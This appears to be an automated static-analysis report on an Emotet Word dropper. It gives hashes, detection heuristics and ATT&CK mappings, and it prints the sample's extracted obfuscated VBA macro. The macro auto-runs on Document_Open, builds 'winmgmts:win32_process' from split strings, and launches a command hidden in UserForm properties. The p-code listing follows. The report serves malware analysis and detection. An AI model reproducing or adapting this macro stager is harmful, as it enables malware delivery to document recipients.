Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 00425963f98bc1ea…

MALICIOUS

Office (OLE)

171.3 KB Created: 2020-07-21 06:49:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 5fc99b8d04c296a9371d807457a1dae8 SHA-1: 4ed0e90377974a5234664ce95eb1fe20566fb71e SHA-256: 00425963f98bc1ea70379e290e683bc3247541d9939b91d1825e3c4b92f26298
230 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a critical heuristic for a hidden UserForm command stager. ClamAV detection confirms it as a known Emotet dropper. The VBA script uses CreateObject to instantiate an object and appears to be constructing a command or URL from concatenated strings, indicative of downloading and executing a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    suuxgouxsem = Split(noogthaobpeilleurzeul, "$12387ghbqhjwg2781vbjkKKb2")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set mauwfoidquepchoath = CreateObject(binhietcheik)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Document_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9377 bytes
SHA-256: 8537e60aed230d83f4a24d731181ac3a3c1e3d5b87b2fe82d1138b74c60965ce
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "duabzap"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
giobfaezthuaz
End Sub


Attribute VB_Name = "cuugdijqueak"
Attribute VB_Base = "0{436D0A16-BCCE-478A-B46F-A752A41C0CD0}{553B78CC-2ADE-4462-841C-F385AF3E8516}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "geanropjoethraut"
Function giobfaezthuaz()
soij = Chr(cuugdijqueak.Zoom + 2 + 2 + 2 + 6 + 3)
Dim FCcbSfXm As Date
quauvfaecqueothpoiw = "$12387ghbqhjwg2781vbjkKKb2winm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2gm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2t" + soij + "$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2:wi$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2n32_$12387ghbqhjwg2781vbjkKKb2" + cuugdijqueak.jeigquaom + "roc$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2es$12387ghbqhjwg2781vbjkKKb2s"
Dim cgaNo As String
cgaNo = Replace$("l6ÆmYk0ÓFMeBnqVGS6ÒGNt", "l6ÆmYk0ÓFMeB", "sw7ÑQNomd")
binhietcheik = peibdictheafyaiv(quauvfaecqueothpoiw)
Dim qVcuRkJreP As Object
Set mauwfoidquepchoath = CreateObject(binhietcheik)
Dim lWiD As Byte
ceiyjirqueoysonyiejthead = cuugdijqueak.wooch.ControlTipText
Dim OTA4Ït1ÚFEt As Integer
OTA4Ït1ÚFEt = 4
Do While OTA4Ït1ÚFEt < 4 + 9
OTA4Ït1ÚFEt = OTA4Ït1ÚFEt + 2: DoEvents
Loop
loexpeovxaetfiehnustiequ = binhietcheik + soij + cuugdijqueak.paxquouchteegjeovkauhbeon.ControlTipText + ceiyjirqueoysonyiejthead
Dim kfTvg As Boolean
guah = loexpeovxaetfiehnustiequ + cuugdijqueak.jeigquaom
Dim ZIh As String
ZIh = Replace$("LUXCnATOCMj3ÚK8âgVUKK", "LUXCnATOC", "hnikNj")
Set boihkeih = deubkeivxoitzeixfacyaij(guah)
Dim kEFMeB As String
kEFMeB = Replace$("oBUVcu3ÜfYMZu", "oBU", "Css")
Dim SpYwyWVL As Boolean
R = Array(N, mauwfoidquepchoath. _
Create(yoif, dauhteicsearceusyixpal, boihkeih))
Dim BZIhfU As Boolean
End Function
Function deubkeivxoitzeixfacyaij(zixhifkiadcheobricvaif)
Set deubkeivxoitzeixfacyaij = CreateObject(zixhifkiadcheobricvaif)
deubkeivxoitzeixfacyaij _
. _
showwindow = (nunfotkiewpaez + quaumpothhaedxuuw) + (siembiequchoifxiegduuf + thuajgasmioh)
Dim WaT1Ä As Integer
WaT1Ä = 7
Do While WaT1Ä < 7 + 8
WaT1Ä = WaT1Ä + 1: DoEvents
Loop
End Function
Function peibdictheafyaiv(zaj)
noogthaobpeilleurzeul = zaj
Dim CgR As String
CgR = Replace$("ahwG4ÏbmiIGgfVVa", "ahwG4Ï", "facqb")
suuxgouxsem = Split(noogthaobpeilleurzeul, "$12387ghbqhjwg2781vbjkKKb2")
Dim kX6Å6ÊSv6Û7ÊI As String
kX6Å6ÊSv6Û7ÊI = Replace$("Wo2áZSYIvyl6Ëc8", "Wo2áZS", "eIroHmnBW")
kaothgocvoudzuawdauytaj = posx + Join(suuxgouxsem, posx)
Dim mnsIBRYFOu As String
mnsIBRYFOu = Replace$("V4ÜYNMoDtJHyYIF", "V4ÜYNMoDtJ", "U3ÑRm")
peibdictheafyaiv = kaothgocvoudzuawdauytaj
Dim JKR As String
JKR = Replace$("dGcnGlYoQP1ÈjJPKM", "dGcnGlY", "WfNkTHqfe")
End Function
Function yoif()
io = cuugdijqueak.hauntoubwafgag.Pages(1).ControlTipText
Dim EJCoQlgkOA As Integer
EJCoQlgkOA = 5
Do While EJCoQlgkOA < 5 + 3
EJCoQlgkOA = EJCoQlgkOA + 6: DoEvents
Loop
yoif = peibdictheafyaiv(io)
End Function


' Processing file: /tmp/tmp8ag1_az0.doc
' ===============================================================================
' Module streams:
' Macros/VBA/duabzap - 1356 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub duabzap())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/cuugdijqueak - 1191 bytes
' Macros/VBA/geanropjoethraut - 5343 bytes
' Line #0:
' 	FuncDefn (Function Document_open())
' Line #1:
' 	Ld cuugdijqueak 
' 	MemLd Chr 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 0x0006 
' 	Add 
' 	LitDI2 0x0003 
' 	Add 
' 	ArgsLd soij 0x0001 
' 	St geanropjoethraut 
' Line #2:
' 	Dim 
' 	VarDefn Zoom (As Date)
' Line #3:
' 	LitStr 0x0089 "$12387ghbqhjwg2781vbjkKKb2winm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2gm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2t"
' 	Ld geanropjoethraut 
' 	Add 
' 	LitStr 0x0089 "$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2:wi$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2n32_$12387ghbqhjwg2781vbjkKKb2"
' 	Add 
' 	Ld cuugdijqueak 
' 	MemLd quauvfaecqueothpoiw 
' 	Add 
' 	LitStr 0x0054 "roc$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2es$12387ghbqhjwg2781vbjkKKb2s"
' 	Add 
' 	St FCcbSfXm 
' Line #4:
' 	Dim 
' 	VarDefn jeigquaom (As String)
' Line #5:
' 	LitStr 0x0016 "l6ÆmYk0ÓFMeBnqVGS6ÒGNt"
' 	LitStr 0x000C "l6ÆmYk0ÓFMeB"
' 	LitStr 0x0009 "sw7ÑQNomd"
' 	ArgsLd cgaNo$ 0x0003 
' 	St jeigquaom 
' Line #6:
' 	Ld FCcbSfXm 
' 	ArgsLd binhietcheik 0x0001 
' 	St Replace 
' Line #7:
' 	Dim 
' 	VarDefn peibdictheafyaiv (As Object)
' Line #8:
' 	SetStmt 
' 	Ld Replace 
' 	ArgsLd mauwfoidquepchoath 0x0001 
' 	Set qVcuRkJreP 
' Line #9:
' 	Dim 
' 	VarDefn CreateObject (As Byte)
' Line #10:
' 	Ld cuugdijqueak 
' 	MemLd ceiyjirqueoysonyiejthead 
' 	MemLd ControlTipText 
' 	St lWiD 
' Line #11:
' 	Dim 
' 	VarDefn wooch (As Integer)
' Line #12:
' 	LitDI2 0x0004 
' 	St wooch 
' Line #13:
' 	Ld wooch 
' 	LitDI2 0x0004 
' 	LitDI2 0x0009 
' 	Add 
' 	Lt 
' 	DoWhile 
' Line #14:
' 	Ld wooch 
' 	LitDI2 0x0002 
' 	Add 
' 	St wooch 
' 	BoS 0x0000 
' 	ArgsCall DoEvents 0x0000 
' Line #15:
' 	Loop 
' Line #16:
' 	Ld Replace 
' 	Ld geanropjoethraut 
' 	Add 
' 	Ld cuugdijqueak 
' 	MemLd loexpeovxaetfiehnustiequ 
' 	MemLd ControlTipText 
' 	Add 
' 	Ld lWiD 
' 	Add 
' 	St OTA4Ït1ÚFEt 
' Line #17:
' 	Dim 
' 	VarDefn paxquouchteegjeovkauhbeon (As Boolean)
' Line #18:
' 	Ld OTA4Ït1ÚFEt 
' 	Ld cuugdijqueak 
' 	MemLd quauvfaecqueothpoiw 
' 	Add 
' 	St kfTvg 
' Line #19:
' 	Dim 
' 	VarDefn guah (As String)
' Line #20:
' 	LitStr 0x0015 "LUXCnATOCMj3ÚK8âgVUKK"
' 	LitStr 0x0009 "LUXCnATOC"
' 	LitStr 0x0006 "hnikNj"
' 	ArgsLd cgaNo$ 0x0003 
' 	St guah 
' Line #21:
' 	SetStmt 
' 	Ld kfTvg 
' 	ArgsLd boihkeih 0x0001 
' 	Set ZIh 
' Line #22:
' 	Dim 
' 	VarDefn deubkeivxoitzeixfacyaij (As String)
' Line #23:
' 	LitStr 0x000D "oBUVcu3ÜfYMZu"
' 	LitStr 0x0003 "oBU"
' 	LitStr 0x0003 "Css"
' 	ArgsLd cgaNo$ 0x0003 
' 	St deubkeivxoitzeixfacyaij 
' Line #24:
' 	Dim 
' 	VarDefn kEFMeB (As Boolean)
' Line #25:
' 	LineCont 0x0004 08 00 00 00
' 	Ld R 
' 	Ld Create 
' 	Ld yoif 
' 	Ld ZIh 
' 	Ld qVcuRkJreP 
' 	ArgsMemLd N 0x0003 
' 	ArgsArray Array 0x0002 
' 	St SpYwyWVL 
' Line #26:
' 	Dim 
' 	VarDefn dauhteicsearceusyixpal (As Boolean)
' Line #27:
' 	EndFunc 
' Line #28:
' 	FuncDefn (Function boihkeih(BZIhfU))
' Line #29:
' 	SetStmt 
' 	Ld BZIhfU 
' 	ArgsLd mauwfoidquepchoath 0x0001 
' 	Set boihkeih 
' Line #30:
' 	LineCont 0x0008 01 00 00 00 02 00 00 00
' 	Ld showwindow 
' 	Ld nunfotkiewpaez 
' 	Add 
' 	Paren 
' 	Ld quaumpothhaedxuuw 
' 	Ld siembiequchoifxiegduuf 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld boihkeih 
' 	MemSt zixhifkiadcheobricvaif 
' Line #31:
' 	Dim 
' 	VarDefn thuajgasmioh (As Integer)
' Line #32:
' 	LitDI2 0x0007 
' 	St thuajgasmioh 
' Line #33:
' 	Ld thuajgasmioh 
' 	LitDI2 0x0007 
' 	LitDI2 0x0008 
' 	Add 
' 	Lt 
' 	DoWhile 
' Line #34:
' 	Ld thuajgasmioh 
' 	LitDI2 0x0001 
' 	Add 
' 	St thuajgasmioh 
' 	BoS 0x0000 
' 	ArgsCall DoEvents 0x0000 
' Line #35:
' 	Loop 
' Line #36:
' 	EndFunc 
' Line #37:
' 	FuncDefn (Function binhietcheik(WaT1Ä))
' Line #38:
' 	Ld WaT1Ä 
' 	St zaj 
' Line #39:
' 	Dim 
' 	VarDefn noogthaobpeilleurzeul (As String)
' Line #40:
' 	LitStr 0x0010 "ahwG4ÏbmiIGgfVVa"
' 	LitStr 0x0006 "ahwG4Ï"
' 	LitStr 0x0005 "facqb"
' 	ArgsLd cgaNo$ 0x0003 
' 	St noogthaobpeilleurzeul 
' Line #41:
' 	Ld zaj 
' 	LitStr 0x001A "$12387ghbqhjwg2781vbjkKKb2"
' 	ArgsLd suuxgouxsem 0x0002 
' 	St CgR 
' Line #42:
' 	Dim 
' 	VarDefn Split (As String)
' Line #43:
' 	LitStr 0x000F "Wo2áZSYIvyl6Ëc8"
' 	LitStr 0x0006 "Wo2áZS"
' 	LitStr 0x0009 "eIroHmnBW"
' 	ArgsLd cgaNo$ 0x0003 
' 	St Split 
' Line #44:
' 	Ld kaothgocvoudzuawdauytaj 
' 	Ld CgR 
' 	Ld kaothgocvoudzuawdauytaj 
' 	ArgsLd posx 0x0002 
' 	Add 
' 	St kX6Å6ÊSv6Û7ÊI 
' Line #45:
' 	Dim 
' 	VarDefn Join (As String)
' Line #46:
' 	LitStr 0x000F "V4ÜYNMoDtJHyYIF"
' 	LitStr 0x000A "V4ÜYNMoDtJ"
' 	LitStr 0x0005 "U3ÑRm"
' 	ArgsLd cgaNo$ 0x0003 
' 	St Join 
' Line #47:
' 	Ld kX6Å6ÊSv6Û7ÊI 
' 	St binhietcheik 
' Line #48:
' 	Dim 
' 	VarDefn mnsIBRYFOu (As String)
' Line #49:
' 	LitStr 0x0011 "dGcnGlYoQP1ÈjJPKM"
' 	LitStr 0x0007 "dGcnGlY"
' 	LitStr 0x0009 "WfNkTHqfe"
' 	ArgsLd cgaNo$ 0x0003 
' 	St mnsIBRYFOu 
' Line #50:
' 	EndFunc 
' Line #51:
' 	FuncDefn (Function Create())
' Line #52:
' 	LitDI2 0x0001 
' 	Ld cuugdijqueak 
' 	MemLd hauntoubwafgag 
' 	ArgsMemLd Pages 0x0001 
' 	MemLd ControlTipText 
' 	St JKR 
' Line #53:
' 	Dim 
' 	VarDefn io (As Integer)
' Line #54:
' 	LitDI2 0x0005 
' 	St io 
' Line #55:
' 	Ld io 
' 	LitDI2 0x0005 
' 	LitDI2 0x0003 
' 	Add 
' 	Lt 
' 	DoWhile 
' Line #56:
' 	Ld io 
' 	LitDI2 0x0006 
' 	Add 
' 	St io 
' 	BoS 0x0000 
' 	ArgsCall DoEvents 0x0000 
' Line #57:
' 	Loop 
' Line #58:
' 	Ld JKR 
' 	ArgsLd binhietcheik 0x0001 
' 	St Create 
' Line #59:
' 	EndFunc 
' Line #60: